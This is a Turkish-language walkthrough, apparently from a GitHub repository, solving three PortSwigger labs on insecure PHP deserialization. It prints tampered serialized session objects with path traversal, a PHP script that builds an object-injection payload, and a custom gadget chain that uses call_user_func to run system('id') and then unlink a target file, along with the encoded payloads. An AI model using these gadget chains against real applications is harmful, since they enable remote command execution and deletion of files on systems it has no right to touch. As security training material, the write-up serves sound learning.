Skip to content

Latest commit

 

History

History
347 lines (241 loc) · 13.3 KB

0x0D e7c75cda4af14d9f8c7d57729ec14f3a.md

File metadata and controls

347 lines (241 loc) · 13.3 KB

0x0D | Deserialization Exploitation

Herkese merhaba, bugünkü yazımızda PortSwigger lab’larının çözümü ile ilgileneceğiz. Aldığımız bu eğitimde Deserialization Zafiyetleri ile ilgili lab ortamlarına bakılmaktadır ve bunların çözümüne ulaşılmaktadır. Eğitime ulaşmak isterseniz kaynaklar kısmına gidebilirsiniz.

Lab: Using application functionality to exploit insecure deserialization

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled.png)

Lab ortamına erişim sağladıktan sonra bize verilen giriş bilgilerini kullanarak sisteme giriyoruz. Username: wiener, password: peter

Sisteme giriş yaptıktan sonra yeni özellikler eklendiğini görebiliriz. Burada resim vb. gibi dosyalar eklediğimizde bununla ilgili bilgileri session’da tutacağından dolayı bize yeni bir cookie atayacaktır.

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 1.png)

Örneğin burada sisteme yeni bir görsel eklemeye çalışalım.

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 2.png)

Burada yaşanan trafiği incelediğimizde session objemizi bu şekilde görebiliriz.

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 3.png)

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"h4bakeq82z855rhm8irjilypsy2ee4t7";s:11:"avatar_link";s:19:"users/wiener/avatar";}

Yukarıda da görüldüğü üzere session objemizde istediğimiz değişiklikleri yapabilir durumdayız. Bu yüzden lab ortamının bizden istediği görevi yerine getirmek üzere ilgili işlemlerimize devam ediyoruz. Burada öncelikle bir silme işlemini gerçekleştirmeye başlıyoruz ve bu sırada burpsuite ile ‘intercept on’ yani trafiği yakalayıp durdurma özelliği ile ilgili kısımları değiştirmeye başlıyoruz.

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 4.png)

Burada karşımıza çıkan ilk istekte bulunan session objesini aşağıdaki gibi değiştiriyoruz. Bunu yapma sebebimiz en üst dizine giderek buradaki home klasöründe carlos kullanıcısına ait bir txt dosyasını silmektir. Burada değiştirdiğimiz yeni ifadenin uzunluğunu da güncellemeyi unutmamalıyırz. Bizim yaptığımız senaryoya göre uzunluğumuz 52 birim olarak değişmiş durumda. Bu şekilde güncellediğimizde artık program burada belirttiğimiz dosyayı silecektir.

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"h4bakeq82z855rhm8irjilypsy2ee4t7";s:11:"avatar_link";s:52:"../../../../../../../../../../home/carlos/morale.txt";}

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 5.png)

İlgili session objemizi düzenledikten sonra tekrar base64 encode ve url encode işlemlerine tabi tutarak programın istediği şekilde kendisine gönderiyoruz. Ve sonuç istediğimiz gibi oluyor.

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 6.png)

Ve lab çözülmüş oldu.

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 7.png)

Lab: Arbitrary object injection in PHP and Property Oriented Programming

Bir önceki yazıda Property Oriented Programming konusunu ele almıştık. Bu lab içerisinde de aynı konulara değineceğimiz bir çalışma yürüteceğiz.

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 8.png)

Öncelikle hesabımıza giriş yapıp sayfa kaynağını inceleyelim. Buradaki lab’da da yine morale.txt dosyasını silmemiz istenmektedir. Session bilgisi deserialize edilirken oluşturulan bir objesi bulunmaktadır. Bunun User isimli bir sınıfı bulunmaktadır. Ve bu sınıfta da $name isimli bir property bulunmaktadır. Ve bu kaynak kod içerisinde başka bir sınıfın destruct metodunun yapacağı işi yani session bilgisini hafızadan silen bir işlemin bulunması gerekmektedir.

Dolayısıyla bu yapıların detayını öğrenebilmek için öncelikle kaynak kodu bulmalıyız. Öncelikle sistemin sayfa kaynağı kodunu Ctrl+U ile incelediğimizde en alt kısımda bir ipucu görmekteyiz.

<!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 9.png)

Bu ipucunu kullanarak ilgili dizine gittiğimizde kaynak kodu okuyabildiğimizi görüyoruz.

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 10.png)

Burada bahsettiğimiz gibi bir senaryo olduğunu görüyoruz. CustomTemplate sınıfını çağırırsak bizim için yeterli olacaktır. Session objemizi incelediğimizde bu şekilde olduğunu görmekteyiz;

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"syr3gz1bmse9kg6obvf2ppno1tx272tp";}

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 11.png)

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 12.png)

Eriştiğimiz kaynak kodlardaki kodu temel olarak kullanarak ilerleyebiliriz.

<?php
/*
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"hswyhm8a08j9hw5s4jw6qm00v58dlwro";}
*/
class CustomTemplate {
    var $template_file_path;
    var $lock_file_path;

    function __destruct() {
        // Carlos thought this would be a good idea
        //if (file_exists($this->lock_file_path)) {
        //     unlink($this->lock_file_path);
        // }
        //echo $this->lock_file_path;
    }
}

class User{
    var $username;
    var $access_token;
}

$object = 'O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"syr3gz1bmse9kg6obvf2ppno1tx272tp";}';

$payload = new User;
$payload->access_token = 'syr3gz1bmse9kg6obvf2ppno1tx272tp';
$payload->username = new CustomTemplate();
$payload->username->lock_file_path = "../../../../../../../../../../../../../../../../../../../home/carlos/morale.txt";
$payload->username->template_file_path = "test.txt";

echo urlencode(
    base64_encode(
        serialize($payload->username)
    )
    );

?>

Bu kod sayesinde elde ettiğimiz çıktıyı uygulamamızda kullanabiliriz.

Output:
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MTg6InRlbXBsYXRlX2ZpbGVfcGF0aCI7czo4OiJ0ZXN0LnR4dCI7czoxNDoibG9ja19maWxlX3BhdGgiO3M6Nzk6Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30%3D

Bu şekilde yeni session objemizi gönderince lab’ı başarıyla çözmüş oluyoruz.

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 13.png)

Lab: Developing a custom gadget chain for PHP deserialization

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 14.png)

Bu lab ortamında da tekrar kaynak koda erişip hangi sınıfların ve hangi fonksiyonların olduğunu tespit etmeliyiz. Burada da kaynak kodu bulmak için sisteme giriş yaptıktan sonra sayfa kaynağını görüntüleyip ipucumuza bakarak ilerliyoruz.

<!-- TODO: Refactor once /cgi-bin/libs/CustomTemplate.php is updated -->

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 15.png)

Burpsuite ile bu dizine giderek kaynak kodu okuyoruz.

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 16.png)

Kodu baştan sona okuduğumuzda hedefimizin bu kısım olduğunu anlıyoruz:

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

Bu kısımda kullanılan ‘call_user_func’ fonksiyonuna verdiğiniz string değer çalıştırılabilir hale gelmektedir. Yani işletim sisteminde komut çalıştırabilir hale gelirsiniz. Örneğin bir deneme yapacak olursak aşağıdaki kodun çalıştığını görebiliriz;

call_user_func('system','id')

Output:

uid=1000(ilker) gid=984(users) groups=984(users),108(vboxusers),150(wireshark),960(libvirt),961(docker),992(kvm),998(wheel)

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 17.png)

Burada kaynak kodu incelediğimizde build_product fonksiyonu Deserialization zafiyeti potansiyeli taşıyan bir kısım içeriyor. __wakeup metodunda çağrıldığı için, bu fonksiyonun işleyişi kontrolsüz bir şekilde yeniden başlatılabilir ve bu da güvenlik riski oluşturabilir.

build_product fonksiyonu, Product sınıfını oluştururken $this->desc özelliğini kullanıyor. Bu, $desc özelliğinin serialize edilen veriden geri dönüştürülerek kullanılmasına olanak tanır. Eğer serialize edilen veri manipüle edilirse ve bu manipülasyon, __wakeup ve __sleep metodlarını etkilerse, build_product fonksiyonu beklenmeyen sonuçlar üretebilir.

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new DefaultMap("system");//new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type; // $DefaultMap->id
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

$test = new CustomTemplate('id');
echo serialize($test);
php gadget.php //kodumuzu çalıştırıyoruz.

Output:

O:14:"CustomTemplate":2:{s:33:"CustomTemplatedefault_desc_type";s:2:"id";s:20:"CustomTemplatedesc";O:10:"DefaultMap":1:{s:20:"DefaultMapcallback";s:6:"system";}}

Artık bu sayede uzaktan kod çalıştırabildiğimizi görebiliyoruz. Bu kısımdan sonra bizden istenen görevi yerine getirerek Carlos kullanıcısının dizininde bulunan morale.txt dosyasını silmeliyiz.

Dolayısıyla elde ettiğimiz bu Session objesini url encode ve base64 encode işlemlerinden geçirdikten sonra sisteme vermeliyiz. Bu değeri sisteme verdikten sonra bu şekilde bir hata ile karşılaşıyoruz. Burada id komutu çalışıyor olabilir ancak komutunu görmüyor olabiliriz.

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 18.png)

Bizden istenen şey morale.txt dosyasının silinmesi olduğu için id değeri yerine bu dosyanın yolunu veriyoruz, ayrıca system ifadesi yerine de unlink kullanmalıyız. Güncel kodumuz aşağıdaki gibidir;

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new DefaultMap("unlink");//new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type; // $DefaultMap->id
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

$test = new CustomTemplate('../../../../../../../../../../../../../../../home/carlos/morale.txt');

echo urlencode(
    base64_encode(
        serialize($test)
    )
    );
php gadget.php

Output:

TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czo2NzoiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czoyMDoiAEN1c3RvbVRlbXBsYXRlAGRlc2MiO086MTA6IkRlZmF1bHRNYXAiOjE6e3M6MjA6IgBEZWZhdWx0TWFwAGNhbGxiYWNrIjtzOjY6InVubGluayI7fX0%3D

Elde ettiğimiz yeni session bilgisini sistemde kullanınca hedefe ulaşıyoruz.

Ve lab çözülmüş oldu…

![Untitled](0x0D e7c75cda4af14d9f8c7d57729ec14f3a/Untitled 19.png)

KAYNAKLAR:

  1. https://www.youtube.com/watch?v=kk43YwA6OFI
  2. https://www.exploit-db.com/exploits/39838
  3. https://www.exploit-db.com/exploits/48761